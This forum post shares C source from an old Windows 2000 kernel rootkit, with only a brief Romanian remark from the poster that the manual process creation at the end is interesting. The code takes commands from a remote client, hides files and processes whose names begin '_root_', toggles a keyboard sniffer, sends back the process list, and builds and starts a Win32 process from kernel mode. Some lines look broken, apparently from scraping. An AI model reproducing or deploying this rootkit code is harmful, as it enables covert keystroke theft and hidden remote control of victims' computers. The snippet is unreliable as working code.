Jump to content
Nytro

rk_command.c

Recommended Posts

Posted

rk_command.c

 

#include "rk_driver.h"

#include "rk_command.h"

#include "rk_defense.h"

#include "rk_process.h"

BOOL g_hide_directories = TRUE;

BOOL g_hide_proc = TRUE;

BOOL g_sniff_keys = FALSE;

struct _csrmsg {

PORT_MESSAGE PortMessage;

struct CSRSS_MESSAGE CsrssMessage;

PROCESS_INFORMATION ProcessInformation;

CLIENT_ID Debugger;

ULONG CreationFlags;

ULONG VdmInfo[2];

} csrmsg;

////////////////////////////////////////////////////////////////////

// these functions are dynamically linked out of NTDLL since

// they are not exported.

////////////////////////////////////////////////////////////////////

typedef NTSTATUS (*CsrClientCallServer) (

IN PVOID Message,

IN PVOID,

IN ULONG OpCode,

IN ULONG Size

);

typedef NTSTATUS (*ZwWriteVirtualMemory) (

IN HANDLE hProcess,

IN PVOID BaseAddress,

IN PVOID Buffer,

IN ULONG BytesToWrite,

OUT PULONG BytesWritten

);

//typedef NTSTATUS (*GetEnvironmentStringsW) (

// ...

//);

typedef NTSTATUS (*RtlDestroyProcessParameters) (

IN PPROCESS_PARAMETERS ProcessParameters

);

typedef NTSTATUS (*RtlCreateProcessParameters) (

OUT PPROCESS_PARAMETERS *ProcessParameters,

IN PUNICODE_STRING ImageFile,

IN PUNICODE_STRING DllPath OPTIONAL,

IN PUNICODE_STRING CurrentDirectory OPTIONAL,

IN PUNICODE_STRING CommandLine OPTIONAL,

IN ULONG CreationFlags,

IN PUNICODE_STRING WindowTitle OPTIONAL,

IN PUNICODE_STRING Desktop OPTIONAL,

IN PUNICODE_STRING Reserved OPTIONAL,

IN PUNICODE_STRING Reserved2 OPTIONAL

);

typedef NTSTATUS (*ZwResumeThread) (

IN HANDLE hThread,

OUT PULONG pSuspendCount

);

typedef NTSTATUS (*ZwProtectVirtualMemory) (

IN HANDLE hProcess,

IN OUT PVOID *BaseAddress,

IN OUT PULONG RegionSize,

IN ULONG Protect,

OUT PULONG OldProtect

);

typedef NTSTATUS (*ZwCreateProcess) (

OUT PHANDLE phProcess,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

IN HANDLE hParentProcess,

IN BOOLEAN bInheritParentHandles,

IN HANDLE hSection OPTIONAL,

IN HANDLE hDebugPort OPTIONAL,

IN HANDLE hExceptionPort OPTIONAL

);

typedef NTSTATUS (*ZwOpenFile) (

OUT PHANDLE phFile,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

OUT PIO_STATUS_BLOCK pIoStatusBlock,

IN ULONG ShareMode,

IN ULONG OpenMode

);

////////////////////////////////////////////////////////////////////

// commands passed from the kernel shell are handled here

//

////////////////////////////////////////////////////////////////////

void process_rootkit_command(char *theCommand)

{

char _c[256];

BOOL return_prompt = TRUE;

sprintf(_c, "rootkit: process_rootkit_command %s, len %d", theCommand, strlen(theCommand));

DbgPrint(_c);

if(0 == strlen(theCommand))

{

//the user pressed return, which is meant to break out

//of sniffer-modes - so make sure all sniffers are off

if(g_sniff_keys)

{

char _t[] = "------------------------------------------\r\nsniffkeys is now OFF.\r\n";

g_sniff_keys = FALSE;

ReturnDataToClient(_t, strlen(_t));

}

}

////////////////////////////////////////////////////////////////

// Command: 'help'

// return a help string

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "help"))

{

char _help[] = "Win2K Rootkit by the team rootkit.com\r\n" \

"Version 0.4 alpha\r\n" \

"------------------------------------------\r\n" \

"command description \r\n" \

"\r\n" \

"ps show proclist \r\n" \

"help this data \r\n" \

"buffertest debug output \r\n" \

"hidedir hide prefixed file/dir\r\n" \

"hideproc hide prefixed processes\r\n" \

"debugint (BSOD)fire int3 \r\n" \

"sniffkeys toggle keyboard sniffer\r\n" \

"echo <string> echo the given string\r\n" \

"\r\n*(BSOD) means Blue Screen of Death\r\n" \

"if a kernel debugger is not present!\r\n" \

"*'prefixed' means the process or filename\r\n" \

"starts with the letters '_root_'.\r\n" \

"\r\n";

ReturnDataToClient(_help, strlen(_help));

}

////////////////////////////////////////////////////////////////

// Command: 'echo' 'string'

// echo back the string, useful for rootkit patches that need

// to send data to a connected client

////////////////////////////////////////////////////////////////

else if(0 == memcmp(theCommand, "echo ", 5))

{

int l = strlen(&theCommand[5]);

if(l)

{

return_prompt=FALSE;

ReturnDataToClient(&theCommand[5], l);

}

}

////////////////////////////////////////////////////////////////

// Command: 'ps'

// returns the process list running on the host

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "ps"))

{

command_get_proclist();

}

////////////////////////////////////////////////////////////////

// Command: 'buffertest'

// debug function causes a large number of packets to return

// used to debug the TCP/IP stack functionality

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "buffertest"))

{

int count=0;

for(count=0;count<100;count++)

{

int x;

sprintf(_c, ".%d.", count);

x = strlen(_c);

ReturnDataToClient(_c, x);

}

}

////////////////////////////////////////////////////////////////

// Command: 'sniffkeys'

// toggles keyboard sniffer

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "sniffkeys"))

{

if(g_sniff_keys)

{

char _t[] = "keyboard sniffing now OFF\r\n";

g_sniff_keys = FALSE;

ReturnDataToClient( _t, strlen(_t));

}

else

{

char _t[] = "keyboard sniffing now ON\r\n------------------------------------------\r\n";

return_prompt=FALSE;

g_sniff_keys = TRUE;

ReturnDataToClient( _t, strlen(_t));

}

}

////////////////////////////////////////////////////////////////

// Command: 'hidedir'

// toggles directory hiding with '_root_' prefix

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "hidedir"))

{

if(g_hide_directories)

{

char _t[] = "directory prefix-hiding now OFF\r\n";

g_hide_directories = FALSE;

ReturnDataToClient( _t, strlen(_t));

}

else

{

char _t[] = "directory prefix-hiding now ON\r\n";

g_hide_directories = TRUE;

ReturnDataToClient( _t, strlen(_t));

}

}

////////////////////////////////////////////////////////////////

// Command: 'hideproc'

// toggles process hiding with '_root_' prefix

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "hideproc"))

{

if(g_hide_proc)

{

char _t[] = "process prefix-hiding now OFF\r\n";

g_hide_proc = FALSE;

ReturnDataToClient( _t, strlen(_t));

}

else

{

char _t[] = "process prefix-hiding now ON\r\n";

g_hide_proc = TRUE;

ReturnDataToClient( _t, strlen(_t));

}

}

////////////////////////////////////////////////////////////////

// Command: 'debugint'

// debug function causes a debug interrupt to fire

// this will BSOD the machine unless a kernel debugger is

// present.

////////////////////////////////////////////////////////////////

else if(0 == strcmp(theCommand, "debugint"))

{

__asm int 3

}

else

{

char t[256];

sprintf(t, "error: unknown or malformed command %s\r\n", theCommand);

ReturnDataToClient( t, strlen(t));

}

if(return_prompt)

//this is our prompt, an upside-down question-mark ¿

ReturnDataToClient("\xA8", 1);

}

///////////////////////////////////////////////////////////////////

// commands requested from kernel shell, many of these return

// data to the connected client.

///////////////////////////////////////////////////////////////////

// --[ command_get_proclist ]---------------------------

// utility routine, dump process list

// should only be called at IRQL_PASSIVE

// this will send a process list back to the connected

// client over the TCP/IP session

// -----------------------------------------------------

void command_get_proclist()

{

unsigned long n = 0x100;

struct _SYSTEM_PROCESSES *p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n);

if(p)

{

struct _SYSTEM_PROCESSES *curr = NULL;

// ------------------------------------------------------------------

// spin until our buffer is large enough to hold the results.

// Information Class 5 is 'ProcessAndThreadsInformation'

// ------------------------------------------------------------------

while(ZwQuerySystemInformation( 5, p, n, 0)

== STATUS_INFO_LENGTH_MISMATCH)

{

ExFreePool(p);

n *= 2;

p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n);

if(NULL == p)

{

break;

}

}

if(p)

{

curr = p;

// -------------------------------------------------------------------------

// forward through all entries in an array of process structures

// some processes will not have names. (System Idle, for example)

// -------------------------------------------------------------------------

while(curr)

{

ANSI_STRING process_name;

RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);

if( (0 < process_name.Length)

&&

(200 > process_name.Length) )

{

char _output[255];

char _pname[255];

int tslen = 0;

memset(_pname, NULL, 255);

memcpy(_pname, process_name.Buffer, process_name.Length);

sprintf( _output,

"%d\t%s\r\n",

curr->ProcessId,

_pname);

tslen = strlen(_output);

ReturnDataToClient(_output, tslen);

}

RtlFreeAnsiString(&process_name);

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}

ExFreePool(p);

}

}

}

#if 1

/* _________________________________________________

. This function is intended to launch a WIN32

. process. So far, the process creation works.

. We are actually building a real process - the

. stumper right now is how to create the inital

. thread - we can create the process, but it doesn't

. >DO< anything until we start an initial thread!

. So far we haven't figured out how to initialize

. the thread context & stack for NtCreateThread().

.

. Update Feb 3, trying to get this working again...

. _________________________________________________ */

PVOID FindNT()

{

ULONG n;

PULONG q;

PSYSTEM_MODULE_INFORMATION p;

PVOID ntdll = NULL;

ULONG i;

ZwQuerySystemInformation( 11, &n, 0, &n); //SystemModuleInformation

q = (PULONG)ExAllocatePool(PagedPool, n);

ZwQuerySystemInformation( 11, q, n * sizeof *q, 0);

p = (PSYSTEM_MODULE_INFORMATION)(q+1);

for(i=0; i < *q; i++)

{

if(0 == memcmp( p.ImageName + p.ModuleNameOffset, "ntdll.dll", 9))

{

// we have a winner

ntdll = p.Base;

}

}

ExFreePool(p);

return ntdll;

}

PVOID FindFunction(PVOID Base, PCSTR Name)

{

ULONG size;

ULONG addr;

ULONG i;

PULONG functions;

PULONG ordinals;

PULONG names;

PVOID func;

PIMAGE_EXPORT_DIRECTORY exports;

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(Base);

PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PCHAR)Base + dos->e_lfanew);

PIMAGE_DATA_DIRECTORY expdir =

nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;

size = expdir->Size;

addr = expdir->VirtualAddress;

exports = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)Base + addr);

functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions);

ordinals = (PULONG)( (PCHAR)Base + exports->AddressOfNameOrdinals);

names = (PULONG)( (PCHAR)Base + exports->AddressOfNames);

func = 0;

for(i=0;i<exports->NumberOfNames;i++)

{

ULONG ord = ordinals;

if(functions[ord] < addr || functions[ord] >= addr + size)

{

if(strcmp((PSTR)((PCHAR)Base + names), Name) == 0)

func = (PCHAR)Base + functions[ord];

}

}

return func;

}

void InformCsrss( HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)

{

memset(&csrmsg, NULL, sizeof(struct _csrmsg));

csrmsg.ProcessInformation.hProcess = hProcess;

csrmsg.ProcessInformation.hThread = hThread;

csrmsg.ProcessInformation.pid = pid;

csrmsg.ProcessInformation.tid = tid;

CsrClientCallServer( &csrmsg, 0, 0x10000, 0x24 );

}

PWSTR CopyEnvironment(HANDLE hProcess)

{

PWSTR env = GetEnvironmentStringsW();

ULONG m;

ULONG n;

PVOID p = 0;

for(n = 0; env[n] != 0; n += wcslen(env + n) + 1) ; n *= sizeof *env;

m = n;

ZwAllocateVirtualMemory(hProcess,

&p,

0,

&m,

MEM_COMMIT,

PAGE_READWRITE );

ZwWriteVirtualMemory( hProcess,

p,

env,

n,

0);

return (PWSTR)p;

}

VOID CreateProcessParameters( HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile )

{

PPROCESS_PARAMETERS pp;

PVOID p = 0;

ULONG n;

RtlCreateProcessParameters( &pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0);

pp->Environment = CopyEnvironment(hProcess);

n = pp->Size;

ZwAllocateVirtualMemory(hProcess,

&p,

0,

&n,

MEM_COMMIT,

PAGE_READWRITE );

ZwWriteVirtualMemory( hProcess,

p,

pp,

pp->Size,

0);

ZwWriteVirtualMemory( hProcess,

(PCHAR)(Peb) + 0x10,

&p,

sizeof p,

0);

RtlDestroyProcessParameters(pp);

}

int exec(PUNICODE_STRING name)

{

HANDLE hProcess, hThread, hSection, hFile;

OBJECT_ATTRIBUTES oa;

IO_STATUS_BLOCK iosb;

PROCESS_BASIC_INFORMATION pbi;

SECTION_IMAGE_INFORMATION sii;

USER_STACK stack = {0};

CONTEXT context = {CONTEXT_FULL};

CLIENT_ID cid;

ULONG n;

PVOID p;

ULONG x;

oa.Length = sizeof oa;

oa.RootDirectory = 0;

oa.ObjectName = name;

oa.Attributes = OBJ_CASE_INSENSITIVE;

ZwOpenFile( &hFile,

FILE_EXECUTE | SYNCHRONIZE,

&oa,

&iosb,

FILE_SHARE_READ | FILE_SYNCHRONOUS_IO_NONALERT );

oa.ObjectName = 0;

ZwCreateSection(&hSection,

SECTION_ALL_ACCESS,

&oa,

0,

PAGE_EXECUTE,

0x01000000, //SEC_IMAGE

hFile);

ZwClose(hFile);

ZwCreateProcess(&hProcess,

PROCESS_ALL_ACCESS,

&oa,

NtCurrentProcess(),

TRUE,

hSection,

0,

0);

ZwQuerySection( hSection, SectionImageInformation, &sii, sizeof sii, 0);

ZwClose(hSection);

n = sii.StackReserve;

ZwAllocateVirtualMemory(hProcess,

&stack.ExpandableStackBottom,

0,

&n,

MEM_RESERVE,

PAGE_READWRITE);

stack.ExpandableStackBase = (PCHAR)(stack.ExpandableStackBottom) + sii.StackReserve;

stack.ExpandableStackLimit = (PCHAR)(stack.ExpandableStackBase) - sii.StackCommit;

n = sii.StackCommit + PAGE_SIZE;

p = (PCHAR)(stack.ExpandableStackBase) - n;

ZwAllocateVirtualMemory(hProcess,

&p,

0,

&n,

MEM_COMMIT,

PAGE_READWRITE);

n = PAGE_SIZE;

ZwProtectVirtualMemory( hProcess,

&p,

&n,

PAGE_READWRITE | PAGE_GUARD,

&x );

context.SegGs = 0;

context.SegFs = 0x38;

context.SegEs = 0x20;

context.SegDs = 0x20;

context.SegSs = 0x20;

context.SegCs = 0x18;

context.EFlags = 0x3000;

context.Esp = (ULONG)(stack.ExpandableStackBase) - 4;

context.Eip = (ULONG)(sii.EntryPoint);

ZwCreateThread( &hThread,

THREAD_ALL_ACCESS,

&oa,

hProcess,

&cid,

&context,

&stack,

TRUE);

ZwQueryInformationProcess( hProcess,

ProcessBasicInformation,

&pbi,

sizeof pbi,

0);

CreateProcessParameters( hProcess,

pbi.PebBaseAddress,

name);

InformCsrss(hProcess,

hThread,

(ULONG)(cid.UniqueProcess),

(ULONG)(cid.UniqueThread));

ZwResumeThread(hThread, 0);

ZwClose(hProcess);

ZwClose(hThread);

return (int)(cid.UniqueProcess);

}

void TestLaunchWin32Process()

{

UNICODE_STRING FileName;

RtlInitUnicodeString(&FileName, L"\\??\\C:\\winnt\\system32\\calc.exe");

exec(&FileName);

}

#endif

E o bucata dintr-un rootkit. Am postat pentru ca la final sunt niste lucruri interesante: crearea manuala a unui proces.

Sursa:

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...